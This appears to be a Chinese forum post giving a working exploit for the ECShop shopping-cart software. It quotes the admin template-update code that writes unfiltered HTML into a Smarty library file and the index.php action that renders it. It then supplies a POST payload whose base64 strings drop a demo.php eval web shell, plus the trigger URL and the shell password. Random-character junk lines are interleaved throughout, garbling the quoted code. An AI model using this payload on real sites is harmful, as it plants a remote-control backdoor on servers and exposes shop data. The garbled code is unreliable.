首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
- ?7 q$ d6 {; b0 [2 F% }2 {% @7 o, @" P2 h. C- H$ o( q& B+ R
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
9 ~. |8 ^9 i) F5 D' b但是ecshop似乎不支持{php}{/php}这个标签来执行php代码# i$ a1 ]* J: U; J. d
admin/template.php% ?6 M. @5 e* ~( T
6 b% A* ~- x- y& E1 l
1 if ($_REQUEST['act'] == 'update_library')
5 B% I& C6 A% ~2 q& j& t* Y8 v
- S3 {1 o. w) Z4 B; G: P1 [2 ; m( l4 Z" a U$ ?
) j7 A/ L- x1 z5 S' Y) ?( d! Y+ {
3 { " x& X G' P" A5 [9 O- q
+ j; Q- d" a3 m. @ b0 `4 check_authz_json('library_manage'); ) |! ~# @, B2 q7 ]7 C
. y1 \1 X# I' p# u) H$ k2 P6 |5
% a' A, H3 P! A
" i( U0 t% W$ e! s; b6 $html = stripslashes(json_str_iconv($_POST['html']));
: F% g. Z6 g5 ~/ ?. v' q6 J- q+ p8 @3 \* p
7
5 z0 q {7 o* X! T& T
0 m0 M0 O7 _' w# E- z# T8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 X4 }" \, R# Q. J, O M
1 G- y9 h, o5 n. I9 . w% [3 [7 P* H2 x- N) G9 T
! F8 Q4 m/ h2 w }+ y+ ?! R10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
o1 R0 ^& Y. V2 x4 W# ^# H3 f$ v. X; j7 @) P
11 ; ?& y4 m) O: G3 c3 X6 G- k
4 E0 @9 L6 `% L+ q5 I& d12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
* |# U r$ C( ~5 M- ~
0 m% V4 l% |4 n, B* S" S5 e7 |$ h13
3 N& N) _/ S5 h2 g$ @ H2 I+ D) B7 h1 p: s9 q1 e) W% H5 a: L; r
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
7 o4 P# d d. n7 V3 w# L# I
# |* V& P9 n1 H6 o7 o, x15 { ; s4 Y. m! _7 ^/ q6 `9 `* Q) T+ h
# c9 U+ }* B- |( K& D
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
& {: |' J% n# n0 H/ ]" D' h' m' S3 ~) ^
17 make_json_result('', $_LANG['update_lib_success']); : a2 v4 t3 @/ S) h$ c
) s4 }6 R1 |, i+ m5 v& P1 x; i3 i8 f18 }
X; U' w1 {* i6 c, U |) i; c
' z$ c6 p# d. W19 else
" w$ X) ~# o( b; D" ^
4 I0 r6 q* Q. w, _6 q20 {
& [9 ~% F( v5 Z% w. J$ B
# E. u4 x9 q6 e1 q21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
( e8 E' [. T5 T2 [( {/ k% i0 d3 b1 x) `) ]
22 }
0 J2 S" o( E8 x0 Y1 ?* o. Q
+ @3 g2 d) r; J3 I' N! p: P8 c" x23 } ; Y, Z- O! K) I# R3 e# Z: x
8 w3 o5 O+ {/ Z O0 u
那么找个比较方便调用了模板的文件
9 f& W) j4 k/ z( x) A5 Cindex.php6 ^+ b2 x- @3 j; B
! h, N) T- j5 c# R& k9 A1 if ($act == 'cat_rec')
: u, ~% N: Y2 U2 G! Q
- c( f( E: I# |3 x2 ! i! j6 Z5 A: b5 m) x
, g( ^% M2 X# x$ Y$ `- n% j3 { 4 I7 i' K4 A/ `! i
: ]# L8 g" i$ ^& \* {/ H! d4 : S- R& D- [3 g, G# Z4 N B
. g; k9 i% A3 [) e
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
( @( Q# V* [! V5 [! g
1 r# x4 e5 S4 `1 ?6
m. E3 a! L9 g8 K, R" e& B. d6 w
5 p& l' d9 p- N4 K7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; , {9 u0 W* {8 L7 J$ J
1 }8 T6 q+ Z0 t8 n! H& d- A8 2 x- A3 W8 s# |! f
! `, o" l l+ u! q& b) n2 ^8 s+ P' E
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 1 s; x% j. s1 C- k( h& S# V
' i, f6 {- G$ B# j$ E
10
8 G I5 H# {% U" k) O8 F- q8 y; q' O* E, f/ Q' P% I
11 include_once('includes/cls_json.php'); 6 _% L; B2 G' J7 |
; b; y: J5 _! G! R9 r. s6 U6 z
12 " H# S9 @6 w M2 C( x/ f
h4 m0 U3 H% F* i13 $json = new JSON; 4 F5 @1 S9 c7 C
5 U- u) e! u' o8 W7 X& V
14
/ i" i/ G) R) f# v; e& m3 ^2 |, j
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); , t1 ~$ D- m e
; f: f; b7 D" h2 q/ m, l2 ~$ I
16 7 ^" k$ Y5 Y# V3 M0 k
$ }8 b- W. B4 e17 $children = get_children($cat_id); 7 o! F+ |5 Y& J- f0 F2 o+ i
1 a" e9 V# {( j5 i" _( a7 _0 Q18
, g F5 A8 {2 W
$ E- I2 G( [$ t7 w5 C6 N19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 5 E% v9 x7 } ?9 x$ ]
1 N5 \0 z; [9 x7 z4 y20
2 h6 q1 l* a3 t% _! o; y
# ^/ o& {/ V; [" b21 $smarty->assign('cat_rec_sign', 1);
1 C$ D$ U1 G& H5 j: i( f
, F v( w. D& r( G) `22
, J1 }0 Z. f/ {3 h/ o. h* Z+ H& y+ Q3 `2 s
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best . l' }% N# r, L ]+ z# ^$ Z
/ r& B" _% c6 ^: p# ^1 M24
" r9 j! D* Y2 r1 }6 |6 G
! B9 m) b+ P* K( G/ }! ]25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; # x% d9 m# R( g) [. k
* [# O0 G2 b4 w. T
26
# _0 l2 J- n- @: ^$ V) J# x4 A5 [
( ] r- }5 U" I3 y; z27 echo $rec_array[$rec_type];
$ O+ Q, n7 S5 f& r6 ~5 j+ l& X- o2 I. L$ }5 L( S
28 ) p; i" j+ u4 | Z% {) w% F
5 f6 p& ]8 T2 ]0 s# @29 die($json->encode($result)); ! w+ W Q( g$ j
/ d y, P, a4 X! K0 m8 A" i; o
30 % S$ M9 p% z+ K* `" Z
2 |7 C {# F; ?# X0 M& @31 } ) S# g+ @# I$ _' U/ r
( m! L f+ y9 V' E
那么就有利用方法了8 O" A3 j z- v! h9 f6 b
post包到http://localhost/ec/admin/template.php?act=update_library
0 D% _6 R Z# _1 P; Q% g, RPost内容:
( d3 `+ s& O W& a0 h; J" h U
' o' y2 q7 ^ q) E0 ~
% |) \9 b: u, Z0 M. ]1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
' h5 e$ f7 l @% q- n3 Y: ^( a
然后访问http://localhost/ec/index.php?act=cat_rec! d, ~3 u `$ Q" k5 s
8 C& Q$ _ P- p" {$ |shel地址:http://localhost/ec/demo.php
# p0 {/ a, x+ Q. U密码c
- c% Y9 \2 N( ]: ~$ V) `1 z7 V2 f1 i( C
|